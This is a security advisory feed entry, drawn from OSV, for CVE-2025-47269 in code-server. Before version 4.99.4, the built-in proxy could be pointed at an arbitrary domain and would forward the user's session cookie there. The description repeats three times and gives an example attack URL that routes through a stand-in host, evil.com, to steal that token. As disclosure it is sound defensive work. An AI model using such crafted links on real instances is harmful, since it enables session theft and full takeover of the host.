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code-server session cookie can be extracted by having user visit specially crafted proxy URL

Type: advisorySources: OSV

code-server runs VS Code on any machine anywhere through browser access. Prior to version 4.99.4, a maliciously crafted URL using the proxy subpath can result in the attacker gaining access to the session token. Failure to properly validate the port for a proxy request can result in proxying to an arbitrary domain. The malicious URL `https:///proxy/test@evil.com/path` would be proxied to `test@evil.com/path` where the attacker could exfiltrate a user's session token. Any user who runs code-server with the built-in proxy enabled and clicks on maliciously crafted links that go to their code-server instances with reference to /proxy. Normally this is used to proxy local ports, however the URL can reference the attacker's domain instead, and the connection is then proxied to that domain, which will include sending cookies. With access to the session cookie, the attacker can then log into code-server and have full access to the machine hosting code-server as the user running code-server. This issue has been patched in version 4.99.4.

Products
Not specified
Affected versions
Not specified
Fixed versions
Not specified
CVEs
CVE-2025-47269
Confirmed fixed CVEs
Not specified
Updated in this feed
2 Nov 2026, 16:29 UTC · Revision 1

Source evidence

code-server session cookie can be extracted by having user visit specially crafted proxy URL

core-osv · Original source

Published 9 May 2025, 20:59 UTC

code-server runs VS Code on any machine anywhere through browser access. Prior to version 4.99.4, a maliciously crafted URL using the proxy subpath can result in the attacker gaining access to the session token. Failure to properly validate the port for a proxy request can result in proxying to an arbitrary domain. The malicious URL `https:///proxy/test@evil.com/path` would be proxied to `test@evil.com/path` where the attacker could exfiltrate a user's session token. Any user who runs code-server with the built-in proxy enabled and clicks on maliciously crafted links that go to their code-server instances with reference to /proxy. Normally this is used to proxy local ports, however the URL can reference the attacker's domain instead, and the connection is then proxied to that domain, which will include sending cookies. With access to the session cookie, the attacker can then log into code-server and have full access to the machine hosting code-server as the user running code-server. This issue has been patched in version 4.99.4.

osv:CVE-2025-47269
Complete source record
{
  "id": "cf5ed4d2bf0ce205e0c1ead53f7918cc46ba8f030bd03a53294c90d8caf0b874",
  "url": "https://osv.dev/vulnerability/CVE-2025-47269",
  "method": "structured",
  "payload": {
    "kind": "advisory",
    "title": "code-server session cookie can be extracted by having user visit specially crafted proxy URL",
    "summary": "code-server runs VS Code on any machine anywhere through browser access. Prior to version 4.99.4, a maliciously crafted URL using the proxy subpath can result in the attacker gaining access to the session token. Failure to properly validate the port for a proxy request can result in proxying to an arbitrary domain. The malicious URL `https:///proxy/test@evil.com/path` would be proxied to `test@evil.com/path` where the attacker could exfiltrate a user's session token. Any user who runs code-server with the built-in proxy enabled and clicks on maliciously crafted links that go to their code-server instances with reference to /proxy. Normally this is used to proxy local ports, however the URL can reference the attacker's domain instead, and the connection is then proxied to that domain, which will include sending cookies. With access to the session cookie, the attacker can then log into code-server and have full access to the machine hosting code-server as the user running code-server. This issue has been patched in version 4.99.4.",
    "evidence": "osv:CVE-2025-47269",
    "products": [],
    "severity": "high",
    "structured": {
      "id": "CVE-2025-47269",
      "aliases": [
        "CVE-2025-47269",
        "GHSA-p483-wpfp-42cj"
      ],
      "metrics": [
        {
          "type": "CVSS_V3",
          "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:L"
        }
      ],
      "affected": [
        {
          "ranges": [
            {
              "repo": "https://github.com/coder/code-server",
              "type": "GIT",
              "events": [
                {
                  "introduced": "0"
                },
                {
                  "fixed": "47d6d3ada5aadef6d221f3d612401eb3dad9299e"
                }
              ],
              "database_specific": {
                "extracted_events": [
                  {
                    "range": [
                      {
                        "introduced": "0"
                      },
                      {
                        "fixed": "4.99.4"
                      }
                    ],
                    "source": "AFFECTED_FIELD",
                    "strategy": "StringRangeExpression"
                  },
                  {
                    "range": [
                      {
                        "fixed": "47d6d3ada5aadef6d221f3d612401eb3dad9299e"
                      }
                    ],
                    "source": "REFERENCES_COMMIT"
                  },
                  {
                    "range": [
                      {
                        "fixed": "47d6d3ada5aadef6d221f3d612401eb3dad9299e"
                      }
                    ],
                    "source": "REFERENCES_TAG",
                    "original_tag": "v4.99.4"
                  },
                  {
                    "range": [
                      {
                        "introduced": "0"
                      },
                      {
                        "fixed": "4.99.4"
                      }
                    ],
                    "source": "DESCRIPTION"
                  }
                ]
              }
            }
          ],
          "versions": [
            "v4.99.3",
            "v4.99.2",
            "v4.99.1",
            "v4.99.0-rc.1",
            "v4.99.0",
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          ],
          "database_specific": {
            "source": "https://storage.googleapis.com/cve-osv-conversion/osv-output/CVE-2025-47269.json"
          }
        }
      ],
      "modified": "2026-10-28T02:30:21.116498229Z",
      "provider": "osv",
      "references": [
        "https://github.com/coder/code-server/releases/tag/v4.99.4",
        "https://github.com/CVEProject/cvelistV5/tree/main/cves/2025/47xxx/CVE-2025-47269.json",
        "https://github.com/coder/code-server/security/advisories/GHSA-p483-wpfp-42cj",
        "https://nvd.nist.gov/vuln/detail/CVE-2025-47269",
        "https://github.com/coder/code-server/commit/47d6d3ada5aadef6d221f3d612401eb3dad9299e"
      ],
      "provider_metadata": {
        "cwe_ids": [
          "CWE-441"
        ],
        "cna_assigner": "GitHub_M",
        "osv_generated_from": "https://github.com/CVEProject/cvelistV5/tree/main/cves/2025/47xxx/CVE-2025-47269.json"
      }
    },
    "related_cves": [
      {
        "value": "CVE-2025-47269",
        "evidence": "/id"
      }
    ],
    "security_relevant": true,
    "severity_evidence": "/severity/0/score"
  },
  "source_id": "core-osv",
  "document_id": 487160,
  "published_at": "2025-05-09T20:59:01.51+00:00"
}